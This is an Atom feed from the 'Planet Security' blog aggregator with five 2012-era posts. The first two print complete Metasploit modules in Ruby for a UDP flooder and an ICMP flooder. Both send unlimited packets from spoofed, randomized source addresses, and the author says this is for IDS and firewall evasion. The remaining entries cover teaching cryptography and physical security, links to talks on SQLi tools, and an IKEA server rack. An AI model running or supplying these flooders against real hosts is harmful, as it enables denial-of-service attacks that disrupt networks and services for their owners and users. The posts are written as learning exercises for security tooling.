<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<feed xmlns="http://www.w3.org/2005/Atom">

	<title>Planet Security</title>
	<link rel="self" href="http://planetsecurity.org/atom.xml"/>
	<link href="http://planetsecurity.org/"/>
	<id>http://planetsecurity.org/atom.xml</id>
	<updated>2012-02-07T01:17:10+00:00</updated>
	<generator uri="http://www.planetplanet.org/">Planet/2.0 +http://www.planetplanet.org</generator>

	<entry>
		<title type="html">My first Metasploit module: UDP Flooder</title>
		<link href="http://nicerosniunos.blogspot.com/2012/01/my-first-metasploit-module-udp-flooder.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-3110106916371643768</id>
		<updated>2012-01-17T18:55:07+00:00</updated>
		<content type="html">&lt;div&gt;There are&amp;nbsp;&lt;a href=&quot;http://metasploit.com/modules/framework/search?utf8=%E2%9C%93&amp;osvdb=&amp;bid=&amp;text=sip&amp;cve=&amp;msb=&quot;&gt;very few Metasploit modules&lt;/a&gt;, neither Auxiliaries nor Exploits, VoIP related so I have in mind to write some of them&amp;nbsp;in my free time. Today I want to share a &lt;a href=&quot;http://en.wikipedia.org/wiki/UDP_flood_attack)&quot;&gt;UDP flooder&lt;/a&gt; Aux. module, which is very simple but perfect for learning, &lt;a href=&quot;http://www.hackingvoip.com/tools/udpflood.tar.gz&quot;&gt;UDPFlooder&lt;/a&gt;&amp;nbsp;is one of the many tools covered in &lt;a href=&quot;http://www.hackingvoip.com/&quot;&gt;&quot;Hacioking VoIP Exposed&quot;&lt;/a&gt;&amp;nbsp;book, considered a reference in this field.&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;code&gt;&lt;span&gt;require 'msf/core'&lt;br /&gt;&lt;br /&gt;class Metasploit3 &amp;lt; Msf::Auxiliary&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span&gt;include Msf::Auxiliary::Dos&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;div&gt;&lt;code&gt;&lt;span&gt;include Msf::Exploit::Capture&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;span&gt;&lt;br /&gt; def initialize&lt;br /&gt;  super(&lt;br /&gt;    'Name'   =&amp;gt; 'UDP Flooder',&lt;br /&gt;    'Description' =&amp;gt; 'A simple UDP flooder',&lt;br /&gt;    'Author'  =&amp;gt; 'Jesus Perez',&lt;br /&gt;    'License'&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  =&amp;gt; MSF_LICENSE,&lt;br /&gt;    'Version'  =&amp;gt; '$Revision: 0 $'&lt;br /&gt;  )&lt;br /&gt;&lt;br /&gt;  register_options(&lt;br /&gt;  [&lt;br /&gt;   Opt::RPORT(5060),&lt;br /&gt;   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),&lt;br /&gt;   OptInt.new('SPORT', [false, 'The source port (else randomizes)']),&lt;br /&gt;   OptInt.new('NUM', [false, 'Number of UDP packets to send (else unlimited)']),&lt;br /&gt;   OptInt.new('SIZE', [false, 'Size of UDP packets to send (else 256 bytes)'])&lt;br /&gt;  ], self.class)&lt;br /&gt;  deregister_options('FILTER','PCAPFILE','SNAPLEN')&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def sport&lt;br /&gt;  datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def rport&lt;br /&gt;  datastore['RPORT'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def srchost&lt;br /&gt;  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')&lt;br /&gt; end&lt;br /&gt; &lt;br /&gt; def size&lt;br /&gt;  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def run&lt;br /&gt;  open_pcap&lt;br /&gt;&lt;br /&gt;  sent = 0&lt;br /&gt;  num = datastore['NUM']&lt;br /&gt;&lt;br /&gt;  print_status(&quot;UDP flooding #{rhost}:#{rport}...&quot;)&lt;br /&gt;&lt;br /&gt;  p = PacketFu::UDPPacket.new&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span&gt;p.ip_daddr = rhost&lt;br /&gt;  p.udp_dport = rport&lt;br /&gt;  &lt;br /&gt;  while (num &amp;lt;= 0) or (sent &amp;lt; num)&lt;br /&gt;   p.ip_ttl = rand(128)+128&lt;br /&gt;   p.ip_saddr = srchost&lt;br /&gt;   p.udp_sport = sport&lt;br /&gt;   p.payload = rand(36**size).to_s(36)&lt;br /&gt;   p.recalc&lt;br /&gt;   capture_sendto(p,rhost)&lt;br /&gt;   sent += 1&lt;br /&gt;  end&lt;br /&gt;&lt;br /&gt;  close_pcap&lt;br /&gt; end&lt;br /&gt;end&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Most of the code is taken from Metasploit &lt;a href=&quot;l:http://metasploit.com/modules/auxiliary/dos/tcp/synflood&quot;&gt;TCP SYN Flooder&lt;/a&gt;&amp;nbsp;module but I made some more changes besides adapting it to UDP. The same way TTL is changed in each packet, I prefer to change the source (spoofed) address too because of the same reason (IDS/Firewall evasion). Moreover, in this case something to send is needed so I added the new option SIZE which determines the lenght of this random string. Another different thing you could apprecciate is that option SNAPLEN is unregistered too because of having no sense in this module.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-EA9DxB-jmyM/TxMO4hxzWNI/AAAAAAAAAXY/sH2BFcapseo/s1600/figure1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;210&quot; src=&quot;http://3.bp.blogspot.com/-EA9DxB-jmyM/TxMO4hxzWNI/AAAAAAAAAXY/sH2BFcapseo/s320/figure1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;Figure: Usage information&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Finally, in order to test if module works fine I´m going to sniff the interface and see, with help of Wireshark, what it´s really happening. Next picture shows that everything seems to be working as defined in the description of the&amp;nbsp;attack. :)&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-PyxBYtLMJRM/TxMHw5R8qOI/AAAAAAAAAXQ/Jh9WbSzbFdE/s1600/figure2.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;90&quot; src=&quot;http://1.bp.blogspot.com/-PyxBYtLMJRM/TxMHw5R8qOI/AAAAAAAAAXQ/Jh9WbSzbFdE/s320/figure2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/--EF4-7AYXFA/TxLn8haYE7I/AAAAAAAAAXI/u3ysdL1xFYA/s1600/figure3.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;120&quot; src=&quot;http://3.bp.blogspot.com/--EF4-7AYXFA/TxLn8haYE7I/AAAAAAAAAXI/u3ysdL1xFYA/s320/figure3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;Figures: Sniffed packets&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Jesús Pérez&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/7743819158194184549-3110106916371643768?l=nicerosniunos.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2012-02-06T17:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Another simple Metasploit module: ICMP Flooder</title>
		<link href="http://nicerosniunos.blogspot.com/2012/01/another-simple-metasploit-module-icmp.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-3581549008165281931</id>
		<updated>2012-01-17T18:54:24+00:00</updated>
		<content type="html">&lt;br /&gt;Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading &lt;a href=&quot;http://www.planb-security.net/packetfu/doc/classes/PacketFu/ICMPPacket.html&quot;&gt;PacketFu documentation&lt;/a&gt; and I found that wrinting an &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack#ICMP_flood&quot;&gt;ICMP flooder&lt;/a&gt; couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as &lt;a href=&quot;http://en.wikipedia.org/wiki/Ping_flood&quot;&gt;Ping flood&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Smurf_attack&quot;&gt;Smurf&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Ping_of_death&quot;&gt;Ping of death&lt;/a&gt;. Next pictures show the module in &amp;nbsp;the same way of last post.&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;code&gt;&lt;span&gt;require 'msf/core'&lt;br /&gt;&lt;br /&gt;class Metasploit3 &amp;lt; Msf::Auxiliary&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span&gt;include Msf::Auxiliary::Dos&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;div&gt;&lt;code&gt;&lt;span&gt;include Msf::Exploit::Capture&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;span&gt;&lt;br /&gt; def initialize&lt;br /&gt;  super(&lt;br /&gt;    'Name'   =&amp;gt; 'ICMP Flooder',&lt;br /&gt;    'Description' =&amp;gt; 'A simple ICMP flooder',&lt;br /&gt;    'Author'  =&amp;gt; 'Jesus Perez',&lt;br /&gt;    'License'&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  =&amp;gt; MSF_LICENSE,&lt;br /&gt;    'Version'  =&amp;gt; '$Revision: 0 $'&lt;br /&gt;  )&lt;br /&gt;&lt;br /&gt;  register_options(&lt;br /&gt;  [&lt;br /&gt;   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),&lt;br /&gt;   OptInt.new('NUM', [false, 'Number of ping packets to send (else unlimited)']),&lt;br /&gt;   OptInt.new('SIZE', [false, 'Size of ICMP packets to send (else 256 bytes)'])&lt;br /&gt;  ], self.class)&lt;br /&gt;  deregister_options('FILTER','PCAPFILE','SNAPLEN')&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def srchost&lt;br /&gt;  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def size&lt;br /&gt;  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def run&lt;br /&gt;  open_pcap&lt;br /&gt;&lt;br /&gt;  sent = 0&lt;br /&gt;  num = datastore['NUM']&lt;br /&gt;&lt;br /&gt;  print_status(&quot;ICMP flooding #{rhost}...&quot;)&lt;br /&gt;&lt;br /&gt;  p = PacketFu::ICMPPacket.new&lt;br /&gt;  p.icmp_type = 8&lt;br /&gt;  p.icmp_code = 0&lt;br /&gt;  p.ip_daddr = rhost&lt;br /&gt;&lt;br /&gt;  while (num &amp;lt;= 0) or (sent &amp;lt; num)&lt;br /&gt;   p.ip_saddr = srchost&lt;br /&gt;   p.payload = rand(36**size).to_s(36)&lt;br /&gt;   p.recalc&lt;br /&gt;   capture_sendto(p,rhost)&lt;br /&gt;   sent += 1&lt;br /&gt;  end&lt;br /&gt;&lt;br /&gt;  close_pcap&lt;br /&gt; end&lt;br /&gt;end&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-vk7ZGp0Du3k/TxMj_GrNoSI/AAAAAAAAAXg/OQXS5fLeSas/s1600/figure1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;188&quot; src=&quot;http://2.bp.blogspot.com/-vk7ZGp0Du3k/TxMj_GrNoSI/AAAAAAAAAXg/OQXS5fLeSas/s320/figure1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;Figure: Usage information&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Xf7jtGIn8Ds/TxMj_1OQcZI/AAAAAAAAAXo/v8GNN0KKzwg/s1600/figure2.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;52&quot; src=&quot;http://1.bp.blogspot.com/-Xf7jtGIn8Ds/TxMj_1OQcZI/AAAAAAAAAXo/v8GNN0KKzwg/s320/figure2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Figure: Sniffed packets&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Jesús Pérez&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/7743819158194184549-3581549008165281931?l=nicerosniunos.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2012-02-06T17:17:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Physical Security &amp;amp; Criptography at MSWL 2012</title>
		<link href="http://javiermunhoz.com/blog/2011/12/15/physical-security-criptography-at-mswl-2012/"/>
		<id>http://javiermunhoz.com/blog/?p=415</id>
		<updated>2011-12-15T17:14:03+00:00</updated>
		<content type="html">&lt;p&gt;Great time at &lt;a href=&quot;http://www.mastersoftwarelibre.com/&quot; title=&quot;Master Software Libre&quot;&gt;Master Software Libre&lt;/a&gt; teaching &lt;a href=&quot;http://en.wikipedia.org/wiki/Physical_security&quot; title=&quot;Physical Security&quot;&gt;Physical Security&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography&quot; title=&quot;Cryptography&quot;&gt;Cryptography&lt;/a&gt; contents this year. Two key areas at &lt;a href=&quot;http://en.wikipedia.org/wiki/Information_Security&quot;&gt;Information Security&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Privacy&quot; title=&quot;Privacy&quot;&gt;Privacy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These lessons were the first ones happening before my usual lessons on Networking, Security Networking and Linux Kernel.&lt;/p&gt;
&lt;p&gt;On &lt;a href=&quot;http://en.wikipedia.org/wiki/Physical_security&quot; title=&quot;Physical Security&quot;&gt;Physical Security&lt;/a&gt; time we worked on well-know physical system security methodologies, together with two new relevant topics: environmental design and design and evaluation of physical protection systems.&lt;/p&gt;
&lt;p&gt;It was a lesson covering broad and detailed topics; ranging from designing defensible spaces, where you are able to use different elements and aspects to get natural social control and crime prevention, till a full description of technology and sensor availability to protect different facilities. Security standards or some notes to understand social behaviour (&lt;a href=&quot;http://en.wikipedia.org/wiki/The_Bronx&quot; title=&quot;The Bronx&quot;&gt;The Bronx&lt;/a&gt; study case) were worked out too.&lt;/p&gt;
&lt;p&gt;On &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography&quot; title=&quot;Cryptography&quot;&gt;Cryptography&lt;/a&gt;, we walked along its history and development in order to understand cryptographic models and current crytographic systems, free/open software tooling, integration and usual use cases. At the end, everybody got their crypto stuff in place, ready to take part in &lt;a href=&quot;http://www.cryptnet.net/fdp/crypto/keysigning_party/en/keysigning_party.html&quot; title=&quot;The Keysigning Party HOWTO&quot;&gt;keysigning parties&lt;/a&gt; and next social community events.&lt;/p&gt;
&lt;p&gt;Ah! I almost forgot. This year, students will elaborate on the right design to build a safe and secure physical protection system for one &lt;a href=&quot;http://en.wikipedia.org/wiki/Embassy&quot; title=&quot;Embassy&quot;&gt;embassy&lt;/a&gt;.&lt;/p&gt;</content>
		<author>
			<name>Javier Muñoz</name>
			<uri>http://javiermunhoz.com/blog</uri>
		</author>
		<source>
			<title type="html">old habits die hard » Security</title>
			<link rel="self" href="http://javiermunhoz.com/blog/category/security/feed/"/>
			<id>http://javiermunhoz.com/blog/category/security/feed/</id>
			<updated>2011-12-15T17:17:07+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Some posts on Flu-Project blog</title>
		<link href="http://nicerosniunos.blogspot.com/2011/11/links-to.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-2325298160753070794</id>
		<updated>2011-11-22T16:13:34+00:00</updated>
		<content type="html">&lt;br /&gt;I recently wrote two posts (in Spanish) on &lt;a href=&quot;http://www.flu-project.com/&quot;&gt;Flu-Project &lt;/a&gt;blog about my recent experience in &lt;a href=&quot;http://www.sindominio.net/hackmeeting/&quot;&gt;Hackmeeting 2011 (MeigHacks)&lt;/a&gt; and some of the issues I treated during &lt;a href=&quot;http://www.sindominio.net/hackmeeting/index.php?title=2011/Nodos/Herramientas_de_%22bot%C3%B3n_gordo%22_y_hacktivismo&quot;&gt;my lecture&lt;/a&gt;, including &lt;a href=&quot;http://w3af.sourceforge.net/&quot;&gt;W3af&lt;/a&gt; and &lt;a href=&quot;http://sqlmap.sourceforge.net/&quot;&gt;SQLMap&lt;/a&gt;. These are the links:&lt;br /&gt;&lt;br /&gt;- &lt;a href=&quot;http://www.flu-project.com/de-paso-por-el-hackmeeting-2o11.html&quot;&gt;De paso por el Hackmeeting 2011&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;http://www.flu-project.com/badstore-sqli-y-otras-chicas-del-monton.html&quot;&gt;Badstore, SQLi y otras chicas del montón&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Jesús Pérez&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/7743819158194184549-2325298160753070794?l=nicerosniunos.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2012-02-06T17:17:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">IKEA Hackers: LackRack</title>
		<link href="http://blog.neutrino.es/2011/ikea-hackers-lackrack/"/>
		<id>http://blog.neutrino.es/?p=341</id>
		<updated>2011-11-19T22:30:15+00:00</updated>
		<content type="html">&lt;p&gt;Among the hundreds of hacks from the fantastic website &lt;a href=&quot;http://www.ikeahackers.net/&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;IKEA Hackers&lt;/em&gt;&lt;/a&gt;, one is particularly interesting.&lt;/p&gt;
&lt;p&gt;How to build a &lt;a href=&quot;http://en.wikipedia.org/wiki/19-inch_rack&quot; target=&quot;_blank&quot;&gt;rack&lt;/a&gt; with an &lt;em&gt;IKEA&lt;/em&gt; &lt;em&gt;lack&lt;/em&gt; table worth less than 10 euros?&lt;br /&gt;
Well, with this manual:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/lackrack.pdf&quot;&gt;
&lt;div align=&quot;center&quot;&gt;&lt;img src=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/Lackrack_manual_page_1_400x566.png&quot; alt=&quot;&quot; title=&quot;Lackrack instructions&quot; width=&quot;400&quot; height=&quot;566&quot; class=&quot;aligncenter size-full wp-image-346&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The best of the LackRack (after &lt;a href=&quot;http://wiki.eth-0.nl/index.php/LackRack#Pricing&quot; target=&quot;_blank&quot;&gt;its price&lt;/a&gt;) is that its construction is modular and you can grow it with your needs:&lt;/p&gt;
&lt;div align=&quot;center&quot;&gt;&lt;a href=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/5x_lackrack.jpg&quot;&gt;&lt;img src=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/5x_lackrack.jpg&quot; alt=&quot;5x LackRack&quot; title=&quot;5x LackRack&quot; width=&quot;600&quot; height=&quot;600&quot; class=&quot;aligncenter size-full wp-image-340&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;The LackRack is the ultimate, low-cost, high shininess solution for your modular datacenter-in-the-living-room. It is said that Google engineers were the first to explore the idea of using &lt;em&gt;lack&lt;/em&gt; tables for data centers. The LackRack is so famous that even has its own website: &lt;a href=&quot;http://lackrack.org/&quot; target=&quot;_blank&quot;&gt;http://lackrack.org/&lt;/a&gt; &lt;img src=&quot;http://blog.neutrino.es/wp-includes/images/smilies/icon_biggrin.gif&quot; alt=&quot;:D&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;</content>
		<author>
			<name>Carlos López</name>
			<uri>http://blog.neutrino.es</uri>
		</author>
		<source>
			<title type="html">synaptic fault » http://planetsecurity.org</title>
			<subtitle type="html">mind dumped</subtitle>
			<link rel="self" href="http://blog.neutrino.es/category/planet/security/feed/"/>
			<id>http://blog.neutrino.es/category/planet/security/feed/</id>
			<updated>2012-02-06T11:17:05+00:00</updated>
		</source>
	</entry>

</feed>

